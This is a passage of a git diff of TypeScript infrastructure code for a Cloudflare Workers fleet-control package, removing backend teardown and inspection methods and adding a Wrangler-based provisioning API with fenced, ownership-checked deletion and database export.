-        JSON.stringify(expectedQueueProducerBindings) ||
-      canonicalApplicationBindings(spec).vars.some(
-        ({ name, value }) => plainText.get(name) !== value,
-      )
-    ) {
-      throw new Error(
-        `script '${spec.scriptName}' has a different resource mapping`,
-      );
-    }
-    const databaseId = databaseIds[0];
-    if (!databaseId) throw new Error('D1 binding has no database id');
-    const schemaVersion = Number(plainText.get('FLEET_SCHEMA_VERSION'));
-    const desiredSpecDigest = plainText.get('FLEET_SPEC_DIGEST');
-    if (
-      !Number.isSafeInteger(schemaVersion) ||
-      !desiredSpecDigest ||
-      !isSha256(desiredSpecDigest)
-    ) {
-      throw new Error(
-        `script '${spec.scriptName}' has no valid schema version`,
-      );
-    }
-    const versionBindingIdentities = assertSupportedProviderBindings(
-      bindings,
-      new Set([
-        'd1',
-        'durable_object_namespace',
-        'service',
-        'queue',
-        'r2_bucket',
-        'plain_text',
-        'secret_text',
-      ]),
-      `plain Worker '${spec.scriptName}'`,
-    );
-    const secretNames = await this.#routeApi.listOrdinaryWorkerSecretNames(
-      spec.scriptName,
-    );
-    const versionSecretNames = versionBindingIdentities
-      .filter(({ type }) => type === 'secret_text')
-      .map(({ name }) => name)
-      .sort();
-    if (
-      versionSecretNames.length > 0 &&
-      JSON.stringify(versionSecretNames) !==
-        JSON.stringify([...secretNames].sort())
-    ) {
-      throw new Error(
-        `plain Worker '${spec.scriptName}' version and secret inventories disagree`,
-      );
-    }
-    const providerBindingIdentities = [
-      ...versionBindingIdentities.filter(({ type }) => type !== 'secret_text'),
-      ...secretNames.map((name) => ({ type: 'secret_text', name }) as const),
-    ].sort((left, right) =>
-      `${left.type}\u0000${left.name}`.localeCompare(
-        `${right.type}\u0000${right.name}`,
-      ),
-    );
-    const maintenance = await readMaintenanceHealth(
-      await this.#fetch(maintenanceUrl(spec, '/admin/maintenance-status'), {
-        headers: {
-          authorization: `Bearer ${maintenanceAdminSecret}`,
-          ...(candidateDeployed
-            ? {
-                'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="${artifactVersion}"`,
-              }
-            : {}),
-        },
-      }),
-    );
-    if (candidateDeployed) {
-      this.#requireMaintenanceDigest(spec, maintenance);
-    } else if (
-      maintenance.deploymentSpecDigest !== undefined &&
-      maintenance.deploymentSpecDigest !== desiredSpecDigest
-    ) {
-      throw new Error(
-        `maintenance response does not match inspected Worker version '${artifactVersion}'`,
-      );
-    }
-    return {
-      tenantTag: spec.tenantTag,
-      environment: spec.environment,
-      scriptName: spec.scriptName,
-      databaseId,
-      durableObjectBindings,
-      serviceBindings,
-      queueProducerBindings,
-      plainTextBindings: Object.fromEntries(plainText),
-      ...(r2BucketBindings.length > 0 ? { r2BucketBindings } : {}),
-      secretNames,
-      providerBindingIdentities,
-      artifactVersion,
-      desiredSpecDigest,
-      schemaVersion,
-      maintenance,
-    };
-  }
-
-  /**
-   * Attest the version serving traffic, which for an ordinary Worker is the
-   * one the deployment object holds at 100%.
-   *
-   * `inspect()` cannot answer this. Given an expected artifact version it pins
-   * that candidate even while the candidate sits at 0%, because a converge has
-   * to compare a staged upload against the specification before promoting it.
-   * Reusing it here would report an unpromoted candidate as though it were
-   * live, which is the exact failure this method exists to make impossible.
-   *
-   * The read goes through the provider API rather than the wrangler CLI: the
-   * CLI is outside the shared rate coordinator, so a poll loop driven through
-   * it would spend account-wide provider quota that nothing is counting.
-   *
-   * `physicalScriptName` is the spec's script rather than a value read back
-   * from the custom domain, because the hostname-to-script binding is already
-   * enforced on the path that can change it: `promoteWorker` fails unless the
-   * custom domain attests this exact script after every promotion, and
-   * `#attestPromotionRoute` refuses a hostname owned by a Worker outside the
-   * promotion guard. Re-reading the domain here would spend a third provider
-   * call against the two-read budget this method documents and learn nothing
-   * those two checks have not already established.
-   */
-  async attestActiveRoute(
-    spec: DeploymentSpec,
-  ): Promise<ActiveRouteAttestation> {
-    const active = await this.#routeApi.inspectActiveWorkerRoute(
-      spec.scriptName,
-    );
-    if (!active) {
-      throw new ActiveRouteAttestationError(
-        `Worker '${spec.scriptName}' has no deployment serving traffic`,
-        {},
-      );
-    }
-    if (!active.specDigest || !isSha256(active.specDigest)) {
-      throw new ActiveRouteAttestationError(
-        `routed version '${active.artifactVersion}' of Worker '${spec.scriptName}' carries no fleet specification digest`,
-        {
-          routedScriptName: spec.scriptName,
-          artifactVersion: active.artifactVersion,
-        },
-      );
-    }
-    return {
-      specDigest: active.specDigest,
-      artifactVersion: active.artifactVersion,
-      physicalScriptName: spec.scriptName,
-      source: 'workers-deployments',
-      observedAt: new Date(this.#clock()).toISOString(),
-    };
-  }
-
-  async revokeCredentials(
-    spec: DeploymentSpec,
-    retainedReleases: readonly ExternalReleaseSnapshot[] | undefined,
-    activeRelease: ExternalReleaseSnapshot | undefined,
-    database: DatabaseReference,
-    fence: ExternalMutationFence,
-  ): Promise<void> {
-    const secretNames = [
-      ...new Set(
-        await this.#routeApi.listOrdinaryWorkerSecretNames(spec.scriptName),
-      ),
-    ].sort();
-    if (secretNames.length === 0) {
-      await this.#attestTeardownWorkerOwnership(
-        spec,
-        database.id,
-        retainedReleases,
-        activeRelease,
-      );
-    }
-    // Each secret deletion can publish a version, so re-attest before the next
-    // irreversible mutation instead of treating the inventory as a batch.
-    for (const secretName of secretNames) {
-      if (
-        !(await this.#attestTeardownWorkerOwnership(
-          spec,
-          database.id,
-          retainedReleases,
-          activeRelease,
-        ))
-      ) {
-        throw new Error(
-          `ordinary Worker '${spec.scriptName}' has secrets without an attestable Worker owner`,
-        );
-      }
-      await this.#routeApi.deleteControlSecrets(
-        spec.scriptName,
-        [secretName],
-        fence,
-      );
-    }
-    const remaining = await this.#routeApi.listOrdinaryWorkerSecretNames(
-      spec.scriptName,
-    );
-    if (remaining.length > 0) {
-      throw new Error(
-        `ordinary Worker '${spec.scriptName}' failed exact secret revocation`,
-      );
-    }
-  }
-
-  async forceDecommissionStep(
-    record: FleetRecord,
-    step: ForceDecommissionStep,
-    fence: ExternalMutationFence,
-  ): Promise<void> {
-    if (record.backend !== this.kind) {
-      throw new Error(
-        `plain Worker backend cannot force-decommission '${record.backend}' resources`,
-      );
-    }
-    if (step === 'remove-traffic') {
-      const domains = await this.#routeApi.listCustomDomains();
-      for (const domain of domains.filter(
-        ({ service }) => service === record.scriptName,
-      )) {
-        await this.#routeApi.detachCustomDomain(domain.id, fence);
-      }
-      const initial = await this.#routeApi.inspectOrdinaryWorkerFootprint(
-        record.scriptName,
-      );
-      if (initial.scriptPresent) {
-        await this.#routeApi.disableOrdinaryWorkerPublicAccess(
-          record.scriptName,
-          fence,
-        );
-      }
-      const [footprint, remainingDomains] = await Promise.all([
-        this.#routeApi.inspectOrdinaryWorkerFootprint(record.scriptName),
-        this.#routeApi.listCustomDomains(),
-      ]);
-      if (
-        footprint.customDomains.length > 0 ||
-        footprint.zoneRoutes.length > 0 ||
-        footprint.workersDevEnabled === true ||
-        footprint.previewUrlsEnabled === true ||
-        remainingDomains.some(({ service }) => service === record.scriptName)
-      ) {
-        throw new Error(
-          `ordinary Worker '${record.scriptName}' retains public ingress after force decommission`,
-        );
-      }
-      return;
-    }
-    if (step === 'revoke-credentials') {
-      const secretNames = [
-        ...new Set(
-          await this.#routeApi.listOrdinaryWorkerSecretNames(record.scriptName),
-        ),
-      ].sort();
-      for (const secretName of secretNames) {
-        await this.#routeApi.deleteControlSecrets(
-          record.scriptName,
-          [secretName],
-          fence,
-        );
-      }
-      const remaining = await this.#routeApi.listOrdinaryWorkerSecretNames(
-        record.scriptName,
-      );
-      if (remaining.length > 0) {
-        throw new Error(
-          `ordinary Worker '${record.scriptName}' failed exact secret revocation during force decommission`,
-        );
-      }
-      return;
-    }
-    if (step !== 'delete-database') {
-      throw new Error(`unsupported force-decommission step '${step}'`);
-    }
-    const getDatabase = this.#routeApi.getDatabase;
-    const deleteDatabase = this.#routeApi.deleteDatabase;
-    if (!getDatabase || !deleteDatabase) {
-      throw new Error(
-        'plain Worker route API does not support exact-ID D1 database deletion',
-      );
-    }
-    await this.#routeApi.withMutationFence(fence, async () => {
-      const database = await getDatabase.call(
-        this.#routeApi,
-        record.databaseId,
-      );
-      if (!database) return;
-      if (
-        database.id !== record.databaseId ||
-        database.name !== record.databaseName
-      ) {
-        throw new Error(
-          `persisted database '${record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}' during force decommission`,
-        );
-      }
-      await deleteDatabase.call(this.#routeApi, database.id);
-      if (await getDatabase.call(this.#routeApi, record.databaseId)) {
-        throw new Error(
-          `database '${record.databaseId}' remains after force decommission`,
-        );
-      }
-    });
-  }
-
-  async removeTraffic(
-    spec: DeploymentSpec,
-    retainedReleases: readonly ExternalReleaseSnapshot[] | undefined,
-    activeRelease: ExternalReleaseSnapshot | undefined,
-    database: DatabaseReference,
-    fence: ExternalMutationFence,
-  ): Promise<void> {
-    const worker = await this.#attestPersistedWorkerOwnership(
-      spec,
-      database.id,
-      retainedReleases,
-      activeRelease,
-    );
-    const route = await this.#customDomain(spec.routeHostname);
-    if (route && route.service !== spec.scriptName) {
-      throw new Error(
-        `refusing to remove custom domain '${spec.routeHostname}' owned by Worker '${route.service}'`,
-      );
-    }
-    if (!worker && route) {
-      throw new Error(
-        `refusing to remove custom domain '${spec.routeHostname}' without an attestable Worker owner`,
-      );
-    }
-    if (route) {
-      await this.#assertMutationFence(fence);
-      await this.#routeApi.detachCustomDomain(route.id, fence);
-    }
-    if (worker) {
-      await this.#routeApi.disableOrdinaryWorkerPublicAccess(
-        spec.scriptName,
-        fence,
-      );
-    }
-  }
-
-  async assertTrafficRemoved(spec: DeploymentSpec): Promise<void> {
-    const footprint = await this.#routeApi.inspectOrdinaryWorkerFootprint(
-      spec.scriptName,
-    );
-    if (
-      footprint.customDomains.length > 0 ||
-      footprint.zoneRoutes.length > 0 ||
-      footprint.workersDevEnabled === true ||
-      footprint.previewUrlsEnabled === true
-    ) {
-      throw new Error(
-        `ordinary Worker '${spec.scriptName}' retains public ingress after traffic removal`,
-      );
-    }
-  }
-
-  async deleteWorker(
-    spec: DeploymentSpec,
-    retainedReleases: readonly ExternalReleaseSnapshot[] | undefined,
-    database: DatabaseReference,
-    activeRelease: ExternalReleaseSnapshot | undefined,
-    fence: ExternalMutationFence,
-  ): Promise<void> {
-    const [initialFootprint, initialNamespaceIds] = await Promise.all([
-      this.#routeApi.inspectOrdinaryWorkerFootprint(spec.scriptName),
-      this.#routeApi.listDurableObjectNamespaces(spec.scriptName),
-    ]);
-    await this.assertTrafficRemoved(spec);
-    if (!initialFootprint.scriptPresent) {
-      if (
-        initialFootprint.customDomains.length > 0 ||
-        initialFootprint.zoneRoutes.length > 0 ||
-        initialNamespaceIds.length > 0
-      ) {
-        throw new Error(
-          `ordinary Worker '${spec.scriptName}' has a script-absent footprint with residual routes, domains, or Durable Object namespaces`,
-        );
-      }
-      const [status, versions] = await Promise.all([
-        this.#deploymentStatus(spec),
-        this.#listVersions(spec),
-      ]);
-      if (status || (versions && versions.length > 0)) {
-        throw new Error(
-          `ordinary Worker '${spec.scriptName}' remains after its footprint reported absence`,
-        );
-      }
-      return;
-    }
-    if (initialFootprint.zoneRoutes.length > 0) {
-      throw new Error(
-        `refusing to delete Worker '${spec.scriptName}' with an inconsistent script or zone-route footprint`,
-      );
-    }
-    const unexpectedDomains = (await this.#routeApi.listCustomDomains()).filter(
-      (domain) =>
-        domain.service === spec.scriptName &&
-        domain.hostname.toLowerCase() !== spec.routeHostname.toLowerCase(),
-    );
-    if (unexpectedDomains.length > 0) {
-      throw new Error(
-        `refusing to delete Worker '${spec.scriptName}' with unexpected custom domains`,
-      );
-    }
-    // Secret mutations can create new version IDs, so this live check validates
-    // the persisted anchor and deployed identity without repeating artifact-set membership.
-    if (
-      !(await this.#attestTeardownWorkerOwnership(
-        spec,
-        database.id,
-        retainedReleases,
-        activeRelease,
-      ))
-    ) {
-      throw new Error(
-        `ordinary Worker '${spec.scriptName}' disappeared before deletion`,
-      );
-    }
-    try {
-      await this.#runMutation(fence, [
-        'delete',
-        '--name',
-        spec.scriptName,
-        '--force',
-      ]);
-    } catch (error) {
-      if (!isWranglerNotFound(error)) throw error;
-    }
-    const [
-      status,
-      versions,
-      residualRoute,
-      residualWorkerDomains,
-      footprint,
-      residualNamespaceIds,
-    ] = await Promise.all([
-      this.#deploymentStatus(spec),
-      this.#listVersions(spec),
-      this.#customDomain(spec.routeHostname),
-      this.#routeApi
-        .listCustomDomains()
-        .then((domains) =>
-          domains.filter((domain) => domain.service === spec.scriptName),
-        ),
-      this.#routeApi.inspectOrdinaryWorkerFootprint(spec.scriptName),
-      this.#routeApi.listDurableObjectNamespaces(spec.scriptName),
-    ]);
-    if (
-      status ||
-      (versions && versions.length > 0) ||
-      residualRoute ||
-      residualWorkerDomains.length > 0 ||
-      footprint.scriptPresent ||
-      footprint.customDomains.length > 0 ||
-      footprint.zoneRoutes.length > 0 ||
-      residualNamespaceIds.length > 0
-    ) {
-      throw new Error(
-        `Worker '${spec.scriptName}' or its custom domain remains after delete`,
-      );
-    }
-  }
-
-  async exportDatabase(
-    database: DatabaseReference,
-    fence: ExternalMutationFence,
-  ): Promise<DatabaseExport> {
-    await mkdir(this.#exportDirectory, { recursive: true });
-    const temporaryDirectory = await mkdtemp(
-      join(this.#exportDirectory, '.wrangler-export-'),
-    );
-    const fileName = `${database.name}-${Date.now()}.sql`;
-    const temporaryLocation = join(temporaryDirectory, fileName);
-    try {
-      await this.#runMutation(fence, [
-        'd1',
-        'export',
-        database.id,
-        '--remote',
-        '--skip-confirmation',
-        '--output',
-        temporaryLocation,
-      ]);
-      await chmod(temporaryLocation, 0o600);
-      const metadata = await stat(temporaryLocation);
-      if (!metadata.isFile() || metadata.size === 0) {
-        throw new Error('Wrangler database export is not a non-empty file');
-      }
-      const hash = createHash('sha256');
-      for await (const chunk of createReadStream(temporaryLocation)) {
-        hash.update(chunk);
-      }
-      const sha256 = hash.digest('hex');
-      const stored = await this.#exportStore.write({
-        databaseId: database.id,
-        fileName,
-        body: Readable.toWeb(
-          createReadStream(temporaryLocation),
-        ) as ReadableStream<Uint8Array>,
-        contentLength: metadata.size,
-      });
-      if (
-        !stored.location ||
-        stored.size !== metadata.size ||
-        stored.sha256 !== sha256
-      ) {
-        throw new Error(
-          'durable database export store returned mismatched committed integrity',
-        );
-      }
-      return {
-        databaseId: database.id,
-        location: stored.location,
-        sha256,
-        size: metadata.size,
-      };
-    } finally {
-      await rm(temporaryDirectory, { recursive: true, force: true });
-    }
-  }
-
-  async deleteDatabase(
-    database: DatabaseReference,
-    fence: ExternalMutationFence,
-  ): Promise<void> {
-    const getDatabase = this.#routeApi.getDatabase;
-    const deleteDatabase = this.#routeApi.deleteDatabase;
-    if (!getDatabase || !deleteDatabase) {
-      throw new Error(
-        'plain Worker route API does not support exact-ID D1 database deletion',
-      );
-    }
-    await this.#routeApi.withMutationFence(fence, async () => {
-      await deleteDatabase.call(this.#routeApi, database.id);
-      if (await getDatabase.call(this.#routeApi, database.id)) {
-        throw new Error(`database '${database.id}' remains after deletion`);
-      }
+      identityCaller: 'WranglerLoopBackend.seedDeploymentIdentity',
+      fetch: fetchImplementation,
+      maintenanceRequestTimeoutMs: resolvedMaintenanceRequestTimeoutMs,
+      clock,
     });
   }
 }
diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts
new file mode 100644
index 00000000..dc867c31
--- /dev/null
+++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts
@@ -0,0 +1,762 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { AsyncLocalStorage } from 'node:async_hooks';
+import { createHash } from 'node:crypto';
+import { createReadStream } from 'node:fs';
+import { chmod, mkdir, mkdtemp, rm, stat, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join, resolve } from 'node:path';
+import { Readable } from 'node:stream';
+import { finished } from 'node:stream/promises';
+import {
+  captureDatabaseExportReceiptCapability,
+  type DurableDatabaseExportStore,
+  databaseExportReceiptIdentityFromUnknown,
+} from './database-export-store.js';
+import { readField, readStringField } from './json-field-reads.js';
+import { providerBindingsToPlainWorkerShape } from './provider-binding-inventory.js';
+import type {
+  DatabaseExportIntegrity,
+  DatabaseExportReceiptIdentity,
+  DatabaseReference,
+  ExternalMutationFence,
+  OrdinaryWorkerDeploymentVersion,
+  PlainWorkerDatabaseExportResult,
+  PlainWorkerDatabaseInventoryEntry,
+  PlainWorkerDeploymentStatus,
+  PlainWorkerMutationOutcome,
+  PlainWorkerProvisioningApi,
+  PlainWorkerRouteApi,
+  PlainWorkerUploadIntent,
+  PlainWorkerUploadOutcome,
+  PlainWorkerVersionDetail,
+  PlainWorkerVersionSummary,
+} from './types.js';
+import type { CommandResult, CommandRunner } from './wrangler-runner.js';
+
+function parseJson(value: string, operation: string): unknown {
+  let parsed: unknown;
+  try {
+    parsed = JSON.parse(value);
+  } catch (cause) {
+    throw new Error(`wrangler ${operation} returned invalid JSON`, { cause });
+  }
+  const success = readField(parsed, 'success');
+  const errors = readField(parsed, 'errors') ?? undefined;
+  if (
+    (success !== undefined && success !== true) ||
+    (errors !== undefined && (!Array.isArray(errors) || errors.length !== 0))
+  )
+    throw new Error(`wrangler ${operation} returned a failed inventory result`);
+  return parsed;
+}
+
+function asArray(value: unknown): readonly unknown[] {
+  if (Array.isArray(value)) return value;
+  if (value && typeof value === 'object' && 'result' in value) {
+    const result = readField(value, 'result');
+    if (Array.isArray(result)) return result;
+    if (result && typeof result === 'object') return [result];
+  }
+  throw new Error('Wrangler inventory result has an invalid list shape');
+}
+
+function isWranglerNotFound(error: unknown): boolean {
+  return (
+    error instanceof Error &&
+    /not found|10090|does not exist|has no deployments/i.test(error.message)
+  );
+}
+
+function readVersionId(value: unknown): string | undefined {
+  const id = readField(value, 'id') ?? readField(value, 'version_id');
+  return typeof id === 'string' ? id : undefined;
+}
+
+function versionTag(value: unknown): string | undefined {
+  const annotations = readField(value, 'annotations');
+  const tag = readField(annotations, 'workers/tag') ?? readField(value, 'tag');
+  return typeof tag === 'string' ? tag : undefined;
+}
+
+function normalizeVersionSummary(value: unknown): PlainWorkerVersionSummary {
+  return { versionId: readVersionId(value), tag: versionTag(value) };
+}
+
+async function funnel<T>(operation: () => T | PromiseLike<T>): Promise<T> {
+  return operation();
+}
+
+async function settleOperation<T>(
+  operation: () => T | PromiseLike<T>,
+): Promise<PromiseSettledResult<Awaited<T>>> {
+  const [state] = await Promise.allSettled([funnel(operation)]);
+  return state;
+}
+
+async function hashScratchFile(
+  location: string,
+): Promise<DatabaseExportIntegrity> {
+  const hash = createHash('sha256');
+  let size = 0;
+  for await (const chunk of createReadStream(location)) {
+    hash.update(chunk);
+    size += chunk.byteLength;
+  }
+  return { size, sha256: hash.digest('hex') };
+}
+
+export class WranglerPlainWorkerProvisioningApi
+  implements PlainWorkerProvisioningApi
+{
+  /** Canonical immutable receipt authority, present only with receipt export. */
+  declare readonly databaseExportReceiptAuthority?: string;
+  /** Publishes one immutable-ID receipt and cleans its private scratch file. */
+  declare readonly exportDatabaseReceipt?: (
+    identity: DatabaseExportReceiptIdentity,
+    fence: ExternalMutationFence,
+  ) => Promise<PlainWorkerDatabaseExportResult>;
+  readonly #runner: CommandRunner;
+  readonly #routeApi: PlainWorkerRouteApi;
+  readonly #exportDirectory: string;
+  readonly #exportStore: DurableDatabaseExportStore;
+  readonly #mutationFenceScope = new AsyncLocalStorage<ExternalMutationFence>();
+  readonly #routeGetDatabase:
+    | NonNullable<PlainWorkerRouteApi['getDatabase']>
+    | undefined;
+  readonly #routeDeleteDatabase:
+    | NonNullable<PlainWorkerRouteApi['deleteDatabase']>
+    | undefined;
+  readonly maxMutationDurationMs: number;
+  declare readonly advanceDecommissionAttachmentScan?: NonNullable<
+    PlainWorkerRouteApi['advanceDecommissionAttachmentScan']
+  >;
+  readonly listWorkerR2Attachments:
+    | NonNullable<PlainWorkerRouteApi['listWorkerR2Attachments']>
+    | undefined;
+  readonly getR2Bucket:
+    | NonNullable<PlainWorkerRouteApi['getR2Bucket']>
+    | undefined;
+  readonly createR2Bucket:
+    | NonNullable<PlainWorkerRouteApi['createR2Bucket']>
+    | undefined;
+  readonly assertR2BucketEmpty:
+    | NonNullable<PlainWorkerRouteApi['assertR2BucketEmpty']>
+    | undefined;
+  readonly deleteR2Bucket:
+    | NonNullable<PlainWorkerRouteApi['deleteR2Bucket']>
+    | undefined;
+
+  constructor(options: {
+    readonly runner: CommandRunner;
+    readonly routeApi: PlainWorkerRouteApi;
+    readonly exportDirectory: string;
+    readonly exportStore: DurableDatabaseExportStore;
+  }) {
+    this.#runner = options.runner;
+    this.#routeApi = options.routeApi;
+    this.#exportDirectory = resolve(options.exportDirectory);
+    const exportStore = options.exportStore;
+    this.#exportStore = exportStore;
+    const receiptCapability = captureDatabaseExportReceiptCapability(
+      exportStore,
+      () => [exportStore.receiptAuthority, exportStore.writeReceipt],
+    );
+    if (receiptCapability) {
+      const writeReceipt = receiptCapability.method as NonNullable<
+        DurableDatabaseExportStore['writeReceipt']
+      >;
+      this.databaseExportReceiptAuthority = receiptCapability.authority;
+      this.exportDatabaseReceipt = (identity, fence) => {
+        const canonical = databaseExportReceiptIdentityFromUnknown(
+          identity,
+          receiptCapability.authority,
+        );
+        return this.#exportDatabaseReceipt(canonical, fence, writeReceipt);
+      };
+    }
+    this.#routeGetDatabase = options.routeApi.getDatabase?.bind(
+      options.routeApi,
+    );
+    this.#routeDeleteDatabase = options.routeApi.deleteDatabase?.bind(
+      options.routeApi,
+    );
+    this.maxMutationDurationMs = options.runner.maxDurationMs;
+    const advanceDecommissionAttachmentScan =
+      options.routeApi.advanceDecommissionAttachmentScan;
+    if (typeof advanceDecommissionAttachmentScan === 'function') {
+      this.advanceDecommissionAttachmentScan =
+        advanceDecommissionAttachmentScan.bind(options.routeApi);
+    }
+    this.listWorkerR2Attachments =
+      options.routeApi.listWorkerR2Attachments?.bind(options.routeApi);
+    this.getR2Bucket = options.routeApi.getR2Bucket?.bind(options.routeApi);
+    this.createR2Bucket = options.routeApi.createR2Bucket?.bind(
+      options.routeApi,
+    );
+    this.assertR2BucketEmpty = options.routeApi.assertR2BucketEmpty?.bind(
+      options.routeApi,
+    );
+    this.deleteR2Bucket = options.routeApi.deleteR2Bucket?.bind(
+      options.routeApi,
+    );
+  }
+
+  get supportsExactDatabaseDeletion(): boolean {
+    return Boolean(this.#routeGetDatabase && this.#routeDeleteDatabase);
+  }
+
+  withMutationFence<T>(
+    fence: ExternalMutationFence,
+    operation: () => Promise<T>,
+  ): Promise<T> {
+    // Tolerates the legacy entry-asserting double in
+    // test/wrangler-loop-backend.test.ts:201-206; production asserts per request.
+    if (this.#mutationFenceScope.getStore() === fence) return operation();
+    return this.#routeApi.withMutationFence(fence, () =>
+      this.#mutationFenceScope.run(fence, operation),
+    );
+  }
+
+  queryDatabase(
+    databaseId: string,
+    sql: string,
+    bindings?: readonly string[],
+  ): Promise<readonly Readonly<Record<string, unknown>>[]> {
+    return this.#routeApi.queryDatabase(databaseId, sql, bindings);
+  }
+
+  batchDatabase(
+    databaseId: string,
+    statements: readonly {
+      readonly sql: string;
+      readonly bindings?: readonly string[];
+    }[],
+  ): Promise<void> {
+    return this.#routeApi.batchDatabase(databaseId, statements);
+  }
+
+  listWorkerDatabaseAttachments(
+    databaseId: string,
+  ): ReturnType<PlainWorkerRouteApi['listWorkerDatabaseAttachments']> {
+    return this.#routeApi.listWorkerDatabaseAttachments(databaseId);
+  }
+
+  inspectActiveWorkerRoute(
+    scriptName: string,
+  ): ReturnType<PlainWorkerRouteApi['inspectActiveWorkerRoute']> {
+    return this.#routeApi.inspectActiveWorkerRoute(scriptName);
+  }
+
+  listCustomDomains(): ReturnType<PlainWorkerRouteApi['listCustomDomains']> {
+    return this.#routeApi.listCustomDomains();
+  }
+
+  inspectOrdinaryWorkerFootprint(
+    scriptName: string,
+  ): ReturnType<PlainWorkerRouteApi['inspectOrdinaryWorkerFootprint']> {
+    return this.#routeApi.inspectOrdinaryWorkerFootprint(scriptName);
+  }
+
+  listDurableObjectNamespaces(
+    scriptName: string,
+  ): ReturnType<PlainWorkerRouteApi['listDurableObjectNamespaces']> {
+    return this.#routeApi.listDurableObjectNamespaces(scriptName);
+  }
+
+  listOrdinaryWorkerSecretNames(
+    scriptName: string,
+  ): ReturnType<PlainWorkerRouteApi['listOrdinaryWorkerSecretNames']> {
+    return this.#routeApi.listOrdinaryWorkerSecretNames(scriptName);
+  }
+
+  deleteControlSecrets(
+    scriptName: string,
+    secretNames: readonly string[],
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    return this.#routeApi.deleteControlSecrets(scriptName, secretNames, fence);
+  }
+
+  attachCustomDomain(
+    target: { readonly hostname: string; readonly service: string },
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    return this.#routeApi.attachCustomDomain(target, fence);
+  }
+
+  detachCustomDomain(
+    domainId: string,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    return this.#routeApi.detachCustomDomain(domainId, fence);
+  }
+
+  disableOrdinaryWorkerPublicAccess(
+    scriptName: string,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    return this.#routeApi.disableOrdinaryWorkerPublicAccess(scriptName, fence);
+  }
+
+  async listDatabases(
+    filter?: Readonly<{ name?: string }>,
+  ): Promise<readonly PlainWorkerDatabaseInventoryEntry[]> {
+    const listed = await this.#runner.run(['d1', 'list', '--json']);
+    // The pinned Wrangler command has no name flag, so the adapter filters
+    // the parsed inventory.
+    return asArray(parseJson(listed.stdout, 'd1 list'))
+      .map((database) => {
+        const databaseId = readStringField(database, 'uuid');
+        const name = readStringField(database, 'name');
+        if (!databaseId || !name)
+          throw new Error('D1 database inventory has an invalid uuid or name');
+        return { databaseId, name };
+      })
+      .filter(
+        (database) =>
+          filter?.name === undefined || database.name === filter.name,
+      );
+  }
+
+  async getDatabase(
+    databaseId: string,
+  ): Promise<DatabaseReference | undefined> {
+    if (this.#routeGetDatabase) return this.#routeGetDatabase(databaseId);
+    let result: CommandResult;
+    try {
+      result = await this.#runner.run(['d1', 'info', databaseId, '--json']);
+    } catch (error) {
+      if (isWranglerNotFound(error)) return undefined;
+      throw error;
+    }
+    const parsed = parseJson(result.stdout, 'd1 info');
+    const body = readField(parsed, 'result') ?? parsed;
+    const id = readField(body, 'uuid');
+    const name = readField(body, 'name');
+    if (id !== databaseId || typeof name !== 'string' || name.length === 0) {
+      throw new Error('D1 info result has an invalid uuid or name');
+    }
+    return { id: databaseId, name, created: false };
+  }
+
+  async createDatabase(
+    name: string,
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerMutationOutcome> {
+    await fence.assertOwned();
+    try {
+      await this.#runner.run(['d1', 'create', name]);
+      return { status: 'succeeded' };
+    } catch (error) {
+      return { status: 'failed', error };
+    }
+  }
+
+  async deleteDatabaseFenced(
+    databaseId: string,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    const getDatabase = this.#routeGetDatabase;
+    const deleteDatabase = this.#routeDeleteDatabase;
+    if (!getDatabase || !deleteDatabase) {
+      // Port self-enforcement; unreachable through WranglerLoopBackend, which preflights supportsExactDatabaseDeletion.
+      throw new Error(
+        'Wrangler plain Worker adapter requires immutable-ID D1 route methods',
+      );
+    }
+    await this.withMutationFence(fence, () => deleteDatabase(databaseId));
+  }
+
+  async deploymentStatus(
+    scriptName: string,
+  ): Promise<PlainWorkerDeploymentStatus | undefined> {
+    let result: CommandResult;
+    try {
+      result = await this.#runner.run([
+        'deployments',
+        'status',
+        '--name',
+        scriptName,
+        '--json',
+      ]);
+    } catch (error) {
+      if (isWranglerNotFound(error)) return undefined;
+      throw error;
+    }
+    const parsed = parseJson(result.stdout, 'deployments status');
+    const body = readField(parsed, 'result') ?? parsed;
+    return {
+      versions: asArray(readField(body, 'versions')).map((version) => {
+        const rawPercentage = readField(version, 'percentage');
+        return {
+          versionId: readVersionId(version),
+          percentage:
+            rawPercentage === undefined ? undefined : Number(rawPercentage),
+        };
+      }),
+    };
+  }
+
+  async listVersions(
+    scriptName: string,
+  ): Promise<readonly PlainWorkerVersionSummary[] | undefined> {
+    try {
+      const listed = await this.#runner.run([
+        'versions',
+        'list',
+        '--name',
+        scriptName,
+        '--json',
+      ]);
+      return asArray(parseJson(listed.stdout, 'versions list')).map(
+        normalizeVersionSummary,
+      );
+    } catch (error) {
+      if (isWranglerNotFound(error)) return undefined;
+      throw error;
+    }
+  }
+
+  async viewVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<PlainWorkerVersionDetail> {
+    const viewed = await this.#runner.run([
+      'versions',
+      'view',
+      versionId,
+      '--name',
+      scriptName,
+      '--json',
+    ]);
+    const parsed = parseJson(viewed.stdout, 'versions view');
+    const resources = readField(parsed, 'resources');
+    const bindings = readField(resources, 'bindings');
+    return {
+      versionId: readVersionId(parsed),
+      tag: versionTag(parsed),
+      bindings: providerBindingsToPlainWorkerShape(
+        asArray(bindings === undefined ? [] : bindings),
+      ),
+    };
+  }
+
+  async findVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<PlainWorkerVersionDetail | undefined> {
+    try {
+      return await this.viewVersion(scriptName, versionId);
+    } catch (error) {
+      if (isWranglerNotFound(error)) return undefined;
+      throw error;
+    }
+  }
+
+  async uploadCandidate(
+    intent: PlainWorkerUploadIntent,
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerUploadOutcome> {
+    const directory = await mkdtemp(join(tmpdir(), 'anchorage-fleet-'));
+    let settled:
+      | Readonly<{ ok: true }>
+      | Readonly<{ ok: false; error: unknown }>;
+    let dispatched = false;
+    let cleanup:
